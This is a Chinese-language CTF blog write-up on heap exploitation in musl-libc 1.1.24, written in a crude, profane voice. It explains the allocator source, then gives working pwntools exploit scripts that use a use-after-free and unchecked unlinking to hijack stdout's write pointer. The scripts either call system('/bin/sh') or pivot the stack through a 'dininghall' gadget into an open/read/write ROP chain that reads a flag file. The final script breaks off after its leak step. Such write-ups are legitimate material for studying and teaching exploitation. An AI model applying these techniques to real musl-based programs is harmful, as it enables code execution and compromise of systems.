👴不知道为啥最近比赛都开始出 musl-libc 了
House of musl-dininghall 1.1.24(x86_64)
题目文件及 exp:https://github.com/AiDaiP/House-of-musl-dininghall
#define SIZE_ALIGN (4*sizeof(size_t))
32 字节对齐
struct chunk {
size_t psize, csize;
struct chunk *next, *prev;
};
psize、csize 分别是前一个 chunk 的 size 和当前 chunk 的 size
最低位为 INUSE 标志位,如果为 0 说明已 free 或者是 mmap 分配
#define CHUNK_SIZE(c) ((c)->csize & -2)
#define CHUNK_PSIZE(c) ((c)->psize & -2)
#define C_INUSE ((size_t)1)
#define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
利用 size 可以找到前一个 chunk 和后一个 chunk
#define PREV_CHUNK(c) ((struct chunk *)((char *)(c) - CHUNK_PSIZE(c)))
#define NEXT_CHUNK(c) ((struct chunk *)((char *)(c) + CHUNK_SIZE(c)))
next、prev 指针构成 bin 循环链表
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};
head 指头,tail 指尾。
static struct {
volatile uint64_t binmap;
struct bin bins[64];
volatile int free_lock[2];
} mal;
64 个 bin,binmap 记录 bin 状态,某位为 0 则对应 index 的 bin 为空。
算 index
static const unsigned char bin_tab[60] = {
32,33,34,35,36,36,37,37,38,38,39,39,
40,40,40,40,41,41,41,41,42,42,42,42,43,43,43,43,
44,44,44,44,44,44,44,44,45,45,45,45,45,45,45,45,
46,46,46,46,46,46,46,46,47,47,47,47,47,47,47,47,
};
static int bin_index(size_t x)
{
x = x / SIZE_ALIGN - 1;
if (x <= 32) return x;
if (x < 512) return bin_tab[x/8-4];
if (x > 0x1c00) return 63;
return bin_tab[x/128-4] + 16;
}
static int bin_index_up(size_t x)
{
x = x / SIZE_ALIGN - 1;
if (x <= 32) return x;
x--;
if (x < 512) return bin_tab[x/8-4] + 1;
return bin_tab[x/128-4] + 17;
}
0-31 一个 bin 中只有一种 size 的 chunk
32-47 一个 bin 中的 chunk size 数为 bin_tab 对应数字出现次数乘 8
48-62 一个 bin 中的 chunk size 数为 bin_tab 对应数字出现次数乘 128
63:《∞》
void *malloc(size_t n)
{
struct chunk *c;
int i, j;
if (adjust_size(&n) < 0) return 0;
if (n > MMAP_THRESHOLD) {//#define MMAP_THRESHOLD (0x1c00*SIZE_ALIGN)
size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (base == (void *)-1) return 0;
c = (void *)(base + SIZE_ALIGN - OVERHEAD);
c->csize = len - (SIZE_ALIGN - OVERHEAD);
c->psize = SIZE_ALIGN - OVERHEAD;
return CHUNK_TO_MEM(c);
}
i = bin_index_up(n);//找 n 对应的 bin index
for (;;) {
uint64_t mask = mal.binmap & -(1ULL<<i);//找 binmap
if (!mask) {//可用 bin 为空(没有所含 chunk size 比 n 大的 bin)
c = expand_heap(n);
if (!c) return 0;
if (alloc_rev(c)) {
struct chunk *x = c;
c = PREV_CHUNK(c);
NEXT_CHUNK(x)->psize = c->csize =
x->csize + CHUNK_SIZE(c);
}
break;
}
j = first_set(mask);//bsf 指令,从 0 位开始找第一个含 1 的位,找到第一个可用的 bin
lock_bin(j);//🔒
c = mal.bins[j].head;//拿头
if (c != BIN_TO_CHUNK(j)) {//#define BIN_TO_CHUNK(i) (MEM_TO_CHUNK(&mal.bins[i].head))
//#define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD)
if (!pretrim(c, n, i, j)) unbin(c, j);//pretrim 切割,不能切就 unbin 取出来
unlock_bin(j);//解🔒
break;
}
unlock_bin(j);//解🔒
}
/* Now patch up in case we over-allocated */
trim(c, n);//切割并把剩的放到 bin
return CHUNK_TO_MEM(c);
}
static int adjust_size(size_t *n)
{
/* Result of pointer difference must fit in ptrdiff_t. */
if (*n-1 > PTRDIFF_MAX - SIZE_ALIGN - PAGE_SIZE) {
if (*n) {
errno = ENOMEM;
return -1;
} else {
*n = SIZE_ALIGN;
return 0;
}
}
*n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;//#define OVERHEAD (2*sizeof(size_t))
return 0;
}
先把 size 处理了,检查 size,加上头,对齐
size 太带了就 mmap,否则找 bin
没有可用 bin 执行 expand_heap,有则找最接近的 bin
能 pretrim 切就切,不能切就 unbin 取出来
最后 trim 切割
pretrim
/* pretrim - trims a chunk _prior_ to removing it from its bin.
* Must be called with i as the ideal bin for size n, j the bin
* for the _free_ chunk self, and bin j locked. */
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
size_t n1;
struct chunk *next, *split;
/* We cannot pretrim if it would require re-binning. */
if (j < 40) return 0;//j 大于 40
if (j < i+3) {//j 和 i 隔 3 个以上 bin
if (j != 63) return 0;//或 j 等于 63
n1 = CHUNK_SIZE(self);//当前 chunk size
if (n1-n <= MMAP_THRESHOLD) return 0;//切割后的 size 大于 MMAP_THRESHOLD
} else {
n1 = CHUNK_SIZE(self);
}
if (bin_index(n1-n) != j) return 0;//切割后的 size 对应的 bin index 为 j
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);//切
split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1-n;
next->psize = n1-n;
self->csize = n | C_INUSE;
return 1;
}
unbin
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));//空
c->prev->next = c->next;
c->next->prev = c->prev;//从双向链表中取出来
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;//设置 INUSE
}
trim
static void trim(struct chunk *self, size_t n)
{
size_t n1 = CHUNK_SIZE(self);//n 是需要的 size,n1 是当前 chunk 的 size
struct chunk *next, *split;
if (n >= n1 - DONTCARE) return;//#define DONTCARE 16,如果当前 chunk size 只比需要的 size 大 0x10 就无所吊谓(DONTCARE)
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);//切
split->psize = n | C_INUSE;//切剩下的 chunk 的前一个 chunk 是所需的 chunk
split->csize = n1-n | C_INUSE;//切剩下的 chunk
next->psize = n1-n | C_INUSE;//原来 chunk 的下一个 chunk 现在的前一个 chunk 是切剩下的 chunk
self->csize = n | C_INUSE;//所需的 chunk
__bin_chunk(split);//把切剩下的 chunk 放到 bin 里
}
void free(void *p)
{
if (!p) return;
struct chunk *self = MEM_TO_CHUNK(p);
if (IS_MMAPPED(self))//先检查 INUSE #define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
unmap_chunk(self);
else
__bin_chunk(self);
}
检查 INUSE,如果为 0,可能是 mmap chunk,调用 unmap_chunk
static void unmap_chunk(struct chunk *self)
{
size_t extra = self->psize;
char *base = (char *)self - extra;
size_t len = CHUNK_SIZE(self) + extra;
/* Crash on double free */
if (extra & 1) a_crash();//如果 psize 的 INUSE 位为 1,则当前 chunk 不是 mmap chunk,而是 double free
__munmap(base, len);//是 mmap chunk,调用 __munmap
}
INUSE 为 1,调用 __bin_chunk
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;
final_size = new_size = CHUNK_SIZE(self);//被 free 的 chunk size,new_size 是初始 size,final_size 是合并后的 size
/* Crash on corrupted footer (likely from buffer overflow) */
if (next->psize != self->csize) a_crash();//检查 size,被 free 的 chunk 下一个 chunk 的 psize 应该等于被 free 的 chunk 的 size
for (;;) {
if (self->psize & next->csize & C_INUSE) {//前后都没有空闲 chunk
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
i = bin_index(final_size);//找到对应的 bin index
lock_bin(i);//🔒
lock(mal.free_lock);//🔒
if (self->psize & next->csize & C_INUSE)//前后都没有空闲 chunk,结束循环
break;
unlock(mal.free_lock);//解🔒
unlock_bin(i);//解🔒
}
if (alloc_rev(self)) {//向前合并
self = PREV_CHUNK(self);//向前合并,换头
size = CHUNK_SIZE(self);
final_size += size;//合并后的 size
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}
if (alloc_fwd(next)) {//向后合并
size = CHUNK_SIZE(next);
final_size += size;//合并后的 size
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}
if (!(mal.binmap & 1ULL<<i))//binmap 对应位设置为 1,标识 bin 非空
a_or_64(&mal.binmap, 1ULL<<i);
self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);//解🔒
self->next = BIN_TO_CHUNK(i);//被 free 的 chunk 放到对应 index 的 bin 链表尾部
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;
/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
uintptr_t a = (uintptr_t)self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE;
uintptr_t b = (uintptr_t)next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
__madvise((void *)a, b-a, MADV_DONTNEED);
#else
__mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
}
unlock_bin(i);
}
musl-libc 把程序内存或者 libc 内存的空闲内存划为堆内存,耗尽后才会申请动态内存。泄露堆地址就可以得到程序基址或 libc 基址。
malloc(0x100)
malloc(0x100)
free(0)
show(0)
r.interactive()
ptr:0x15555554a380
ptr-0x10:0x15555554a370
size:0x120
show_size:0x130
========================================
0x0000000000000001 0x0000000000000120
0x0000155555552b80 0x0000155555552b80
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000120 0x0000000000000121
========================================
Done!
ptr:0x15555554a380
ptr-0x10:0x15555554a370
size:0x120
show_size:0x130
========================================
0x0000000000000001 0x0000000000000120
0x0000155555552b80 0x0000155555552b80
unbin 对 prev 和 next 没有检查
uaf 改 prev 和 next 再 malloc 可以把目标地址的 prev 和 next 指向目标地址自身
fuckit = stdin
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
free(1)
free(3)
edit(1,0x10,p64(fuckit)*2)
malloc(0x10)
pwndbg> x/10gx 0x7f4103746200
0x7f4103746200 <__stdin_FILE>: 0x0000000000000049 0x0000000000000000
0x7f4103746210 <__stdin_FILE+16>: 0x00007f4103746200 0x00007f4103746200
0x7f4103746220 <__stdin_FILE+32>: 0x0000000000000000 0x0000000000000000
0x7f4103746230 <__stdin_FILE+48>: 0x0000000000000000 0x0000000000000000
这样日完之后,目标地址的 prev 和 next 均为合法地址,可以利用 unbin 把目标地址写到 mal.bins[37].head
bin37 = libc_base + 0x292e40
log.success(hex(bin37))
edit(3,0x10,p64(bin37-0x10)+p64(fuckit))
malloc(0x10)
pwndbg> p mal.bins[37]
$63 = {
lock = {0, 0},
head = 0x7f0ca9255200 <__stdin_FILE>,
tail = 0x7f0ca9258410
}
再 malloc 就可以取出来
malloc(0x20)
chunk_ptr:0x7f0ca9255210
Your size:0x20
chunk_size:0x41
=======================
AiDai's WhiteGive Heap
=======================
1.Malloc
2.Edit
3.Show
4.Free
5.Exit
=======================
choice:
musl-libc 没有 hook,可以日 IO_FILE
pwndbg> p *stdin
$2 = {
flags = 4294967232,
rpos = 0x41 <error: Cannot access memory at address 0x41>,
rend = 0x0,
close = 0x7efc06ead200 <__stdin_FILE>,
wend = 0x0,
wpos = 0x0,
mustbezero_1 = 0x0,
wbase = 0x0,
read = 0x41,
write = 0xffffffffffffffc0,
seek = 0x7efc06eae0a8 <mal+1512>,
buf = 0x7efc06eae0a8 <mal+1512> "",
buf_size = 0,
prev = 0x0,
next = 0x0,
fd = 0,
pipe_pid = 0,
lockcount = 0,
mode = 0,
lock = -1,
lbf = -1,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}
pwndbg> p *stdout
$3 = {
flags = 69,
rpos = 0x0,
rend = 0x0,
close = 0x7efc06c65957 <__stdio_close>,
wend = 0x0,
wpos = 0x0,
mustbezero_1 = 0x0,
wbase = 0x0,
read = 0x0,
write = 0x7efc06c65ac3 <__stdio_write>,
seek = 0x7efc06c65abb <__stdio_seek>,
buf = 0x7efc06eae9a8 <buf+8> "",
buf_size = 0,
prev = 0x0,
next = 0x0,
fd = 1,
pipe_pid = 0,
lockcount = 0,
mode = -1,
lock = -1,
lbf = -1,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}
stdin 触发费劲,stdout 直接申请过去可能会炸,可以申请到 stdin 再往下打 stdout
write 函数指针调用时,参数为 stdout
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
*RAX 0xffffffff
*RBX 0xffffffff
*RCX 0x20
*RDX 0x0
*RDI 0x7f4fed2ae300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*RSI 0x0
*R8 0x7ffcb0f255c8 ◂— 0x0
R9 0x0
R10 0x0
R11 0x246
*R12 0x0
*R13 0x7f4fed2ae300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*R14 0x7ffcb0f255c8 ◂— 0x0
*R15 0x7ffcb0f25640 ◂— 0x0
*RBP 0x7f4fed2af9a8 (buf+8) ◂— 0x0
*RSP 0x7ffcb0f25598 —▸ 0x7f4fed06bd58 (vfprintf+273) ◂— cmp qword ptr [r13 + 0x28], 0
*RIP 0x7f4fed05e688 (system) ◂— push r15
*RAX 0xffffffff
*RBX 0xffffffff
*RCX 0x20
*RDX 0x0
*RDI 0x7efc06ead300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*RSI 0x0
*R8 0x7fff4d1f44f8 ◂— 0x0
R9 0x0
R10 0x0
R11 0x246
*R12 0x0
*R13 0x7efc06ead300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*R14 0x7fff4d1f44f8 ◂— 0x0
*R15 0x7fff4d1f4570 ◂— 0x0
*RBP 0x7efc06eae9a8 (buf+8) ◂— 0x0
*RSP 0x7fff4d1f44c8 —▸ 0x7efc06c6ad58 (vfprintf+273) ◂— cmp qword ptr [r13 + 0x28], 0
*RIP 0x7efc06c5d688 (system) ◂— push r15
pwndbg> p *stdin
$5 = {
flags = 4294967232,
rpos = 0x41 <error: Cannot access memory at address 0x41>,
rend = 0x0,
close = 0x0,
wend = 0x0,
wpos = 0x0,
mustbezero_1 = 0x0,
wbase = 0x0,
read = 0x0,
write = 0x0,
seek = 0x0,
buf = 0x0,
buf_size = 0,
prev = 0x0,
next = 0x0,
fd = 0,
pipe_pid = 0,
lockcount = 0,
mode = 0,
lock = 0,
lbf = 0,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}
pwndbg> p *stdout
$6 = {
flags = 1852400175,
rpos = 0x0,
rend = 0x0,
close = 0x0,
wend = 0x0,
wpos = 0x0,
mustbezero_1 = 0x0,
wbase = 0x0,
read = 0x0,
write = 0x7efc06c5d688 <system>,
seek = 0x7efc06c65abb <__stdio_seek>,
buf = 0x7fff4d1f4520 "7efc06ead210\n",
buf_size = 80,
prev = 0x0,
next = 0x0,
fd = 1,
pipe_pid = 0,
lockcount = 0,
mode = -1,
lock = -1,
lbf = -1,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}
stdin = libc_base + libc.sym['__stdin_FILE']
stdout = libc_base + libc.sym['__stdout_FILE']
system = libc_base + libc.sym['system']
fuckit = stdin
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
free(1)
free(3)
edit(1,0x10,p64(fuckit)*2)
malloc(0x10)
bin37 = libc_base + 0x292e40
log.success(hex(bin37))
edit(3,0x10,p64(bin37-0x10)+p64(fuckit))
malloc(0x10)
malloc(0x20)#7
payload = '\x00'*0xf0
payload += '/bin/sh\x00'+p64(0)*8
payload += p64(system)
edit(7,len(payload),payload)
r.interactive()
曾经在某知名比赛🐏过出题人
有时候出题人塞屎开沙箱,不能直接 system,需要 orw
👴能控制的参数是 rdi,所以可以找丶用 rdi 搞事的 gadget
└─[$] <> ropper --file ./libc.so | grep rdi | grep jmp | grep rsp | grep mov
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000048b6f: add rsp, 0x18; mov rsi, rbp; mov rdi, rbx; pop rbx; pop rbp; jmp rcx;
0x0000000000049514: ja 0x49536; mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049518: jg 0x49542; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x00000000000052e6: jp 0x5287; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x0000000000090370: mov byte ptr [rdi - 7], ah; jmp rsp;
0x000000000005867f: mov ebp, esi; mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x0000000000049517: mov edi, dword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x000000000004951b: mov edx, dword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049513: mov esi, dword ptr [rdi + 0x20]; mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30];
mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049512: mov r14, qword ptr [rdi + 0x20]; mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30];
mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049516: mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x000000000005867e: mov rbp, rsi; mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x0000000000058681: mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x0000000000022ae0: mov rdi, rbp; mov rdx, qword ptr [rsp + 8]; add rsp, 0x18; pop rbx; pop rbp; jmp rax;
0x000000000004951a: mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x000000000004951e: mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000090395: movsxd rdi, ecx; jmp rsp;
0x00000000000052e5: pop rbx; jp 0x5287; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x00000000000052e8: push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x00000000000052e4: sub byte ptr [rbx + 0x7a], bl; lahf; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x0000000000058680: cmc; mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x00000000000052e7: lahf; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
这个吊
0x000000000004951a: mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
因为👴🚪在食堂想到了这个 gadget,所以👴称之为 dininghall gadget,👴曾提出 house of your mother’s mourning hall,所以👴管这个叫 house of musl-dininghall
dininghall_gadget = libc_base + 0x000000000004951a
#0x000000000004951a: mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
ret = libc_base + 0x0000000000000cdc
fuckit = stdin
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
free(1)
free(3)
edit(1,0x10,p64(fuckit)*2)
malloc(0x10)
bin37 = libc_base + 0x292e40
log.success(hex(bin37))
edit(3,0x10,p64(bin37-0x10)+p64(fuckit))
malloc(0x10)
malloc(0x20)#7
rdi = 0x0000000000014862+libc_base
rsi = 0x000000000001c237+libc_base
rdx = 0x000000000001bea2+libc_base
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rop = p64(rdi)+p64(0)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x8)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(write)
rop_addr = stdin+0x10
payload = rop.ljust(0xf0,'\x00')
payload += p64(0)*4+p64(1)*2
payload += p64(rop_addr)
payload += p64(ret)
payload += p64(0)
payload += p64(dininghall_gadget)
pause()
edit(7,len(payload)+0x10,payload)
r.sendline('./flag\x00')
r.interactive()
pwndbg> p *stdout
$1 = {
flags = 0,
rpos = 0x0,
rend = 0x0,
close = 0x0,
wend = 0x1 <error: Cannot access memory at address 0x1>,
wpos = 0x1 <error: Cannot access memory at address 0x1>,
mustbezero_1 = 0x7fc8529d8210 <__stdin_FILE+16> "b\250uR\310\177",
wbase = 0x7fc852746cdc "\303\004",
read = 0x0,
write = 0x7fc85278f51a <longjmp+34>,
seek = 0x7fc852790a0a <__stdio_read+8>,
buf = 0x7fc8529d99a8 <buf+8> "",
buf_size = 0,
prev = 0x0,
next = 0x0,
fd = 1,
pipe_pid = 0,
lockcount = 0,
mode = -1,
lock = -1,
lbf = -1,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}
pwndbg>
在 dininghall gadget 断
*RAX 0x7fc85278f51a (longjmp+34) ◂— mov rdx, qword ptr [rdi + 0x30]
*RBX 0x5
*RCX 0xfefefefefefefeff
*RDX 0x5
*RDI 0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
*RSI 0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
*R8 0xfefefefefefefeff
R9 0x0
R10 0x0
R11 0x246
*R12 0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
*R13 0x5
*R14 0x0
*R15 0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
*RBP 0x1
*RSP 0x7fff38910d08 —▸ 0x7fc85279295d (fwrite_unlocked+81) ◂— test r14d, r14d
*RIP 0x7fc85278f51a (longjmp+34) ◂— mov rdx, qword ptr [rdi + 0x30]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
► 0x7fc85278f51a <longjmp+34> mov rdx, qword ptr [rdi + 0x30] <0x7fc8529d8330>
↓
0x7fc85278f521 <longjmp+41> mov rdx, qword ptr [rdi + 0x38]
0x7fc85278f525 <longjmp+45> jmp rdx
↓
0x7fc852746cdc ret
↓
0x7fc85275a862 <decfloat+578> pop rdi
0x7fc85275a863 <decfloat+579> ret
↓
0x7fc852762237 <lio_wait+122> pop rsi
0x7fc852762238 <lio_wait+123> ret
↓
0x7fc852761ea2 <aio_fsync64+44> pop rdx
0x7fc852761ea3 <aio_fsync64+45> ret
↓
0x7fc85279ff8e <read> sub rsp, 0x10
pwndbg> x/10gx 0x7fc8529d8300+0x30
0x7fc8529d8330 <__stdout_FILE+48>: 0x00007fc8529d8210 0x00007fc852746cdc
rdi 是 0x7fc8529d8300,rdi+0x30 是 rop 链,mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx;
可以改写 rsp 实现栈迁移,rdi+0x38 是 ret, mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
执行 ret 返回到 rop 链。
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
RAX 0x7fc85278f51a (longjmp+34) ◂— mov rdx, qword ptr [rdi + 0x30]
RBX 0x5
RCX 0xfefefefefefefeff
*RDX 0x7fc852746cdc ◂— ret
RDI 0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
RSI 0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
R8 0xfefefefefefefeff
R9 0x0
R10 0x0
R11 0x246
R12 0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
R13 0x5
R14 0x0
R15 0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
RBP 0x1
RSP 0x7fc8529d8210 (__stdin_FILE+16) —▸ 0x7fc85275a862 (decfloat+578) ◂— pop rdi
*RIP 0x7fc85278f525 (longjmp+45) ◂— jmp rdx
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
0x7fc85278f51a <longjmp+34> mov rdx, qword ptr [rdi + 0x30]
0x7fc85278f51e <longjmp+38> mov rsp, rdx
0x7fc85278f521 <longjmp+41> mov rdx, qword ptr [rdi + 0x38]
► 0x7fc85278f525 <longjmp+45> jmp rdx <0x7fc852746cdc>
↓
0x7fc85275a862 <decfloat+578> pop rdi
0x7fc85275a863 <decfloat+579> ret
↓
0x7fc852762237 <lio_wait+122> pop rsi
0x7fc852762238 <lio_wait+123> ret
↓
0x7fc852761ea2 <aio_fsync64+44> pop rdx
0x7fc852761ea3 <aio_fsync64+45> ret
↓
0x7fc85279ff8e <read> sub rsp, 0x10
步骤
leak 白给,uaf,直接🐏
这题直接打到 stdout 不会炸,不用去 stdin 了
from pwn import *
r = process(["./libc.so","./pwn"])
libc = ELF("./libc.so")
menu = lambda x:r.sendlineafter(">>",str(x))
def add(con):
menu(1)
r.sendafter("content",con)
def free(idx):
menu(2)
r.sendlineafter("idx",str(idx))
def show(idx):
menu(3)
r.sendlineafter("idx",str(idx))
def edit(idx,con):
menu(4)
r.sendlineafter("idx:",str(idx))
r.sendafter("Content",con)
add('wsndnmsl')
add('fuck')
show(0)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x292e50
success("libc_base = "+hex(libc_base))
stdout = libc_base+libc.sym['__stdout_FILE']
mybin = libc_base+0x292c48
system = libc_base+libc.sym['system']
free(0)
edit(0,p64(stdout-0x10)*2)
add(p64(stdout-0x10)*2)
free(2)
edit(2,p64(mybin-0x10)+p64(stdout-0x10))
rdi = 0x0000000000014862+libc_base
rsi = 0x000000000001c237+libc_base
rdx = 0x000000000001bea2+libc_base
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rop_addr = libc_base + 0x2953c0
buf = libc_base + 0x2955e0
rop = p64(rdi)+p64(stdout)+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x100)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x100)+p64(write)
add(rop)
add('fuck')
dininghall_gadget = libc_base+0x000000000004951a
ret = libc_base + 0x0000000000000cdc
payload = '/flag\x00\x00\x00'
payload += p64(0)*3+p64(1)*2
payload += p64(rop_addr)
payload += p64(ret)
payload += p64(0)
payload += p64(dininghall_gadget)
pause()
edit(4,payload)
r.interactive()
这道题是夜里上的,看了一眼直接判定能用 dininghall gadget 日穿
用了 calloc,会把堆上残留的数据全扬了,不能直接 leak。edit uaf,delete 再 add 可以拿到相同指针, size 不清可以堆溢出,有溢出想干啥就干啥
from pwn import *
r = process(['./libc.so.2','./babaheap'])
libc = ELF("./libc.so.2")
def menu(choice):
r.recvuntil('Command: ')
r.sendline(str(choice))
def add(size,content):
menu(1)
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Content: ')
r.send(content)
def edit(index,size,content):
menu(2)
r.recvuntil('Index: ')
r.sendline(str(index))
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Content: ')
r.send(content)
def delete(index):
menu(3)
r.recvuntil('Index: ')
r.sendline(str(index))
def show(index):
menu(4)
r.recvuntil('Index: ')
r.sendline(str(index))
add(0x10,'a\n')#0
add(0x10,'a\n')#1
add(0x10,'a\n')#2
add(0x100,'a\n')#3
delete(3)
delete(2)
delete(1)
delete(0)
add(0x60,'nmsl\n')#0
add(0x10,'wsnd\n')#1
add(0x10,'a\n')#2
payload = p64(0)*2+p64(0x81)+p64(0x41)+p64(0)*2+p64(0x21)*2+p64(0)*2+p64(0x41)[:7]+'\n'
edit(3,0x100,payload)
delete(1)
add(0x10,'a\n')#1
show(2)
